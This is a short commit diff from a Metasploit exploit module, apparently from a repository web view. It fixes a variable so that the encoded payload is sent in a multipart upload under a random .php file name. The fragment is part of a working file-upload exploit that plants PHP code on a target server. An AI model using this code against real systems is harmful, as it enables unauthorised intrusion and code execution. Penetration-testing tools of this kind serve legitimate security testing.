Fixed variable
parent
61ab88b2c5
commit
75057b5df3
|
@ -57,7 +57,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
payload_name = "#{rand_text_alpha(5)}.php"
|
payload_name = "#{rand_text_alpha(5)}.php"
|
||||||
|
|
||||||
data = Rex::MIME::Message.new
|
data = Rex::MIME::Message.new
|
||||||
data.add_part(php_payload, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
|
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
|
||||||
post_data = data.to_s
|
post_data = data.to_s
|
||||||
|
|
||||||
print_status("#{peer} - Uploading payload #{payload_name}")
|
print_status("#{peer} - Uploading payload #{payload_name}")
|
||||||
|
|
Loading…
Reference in New Issue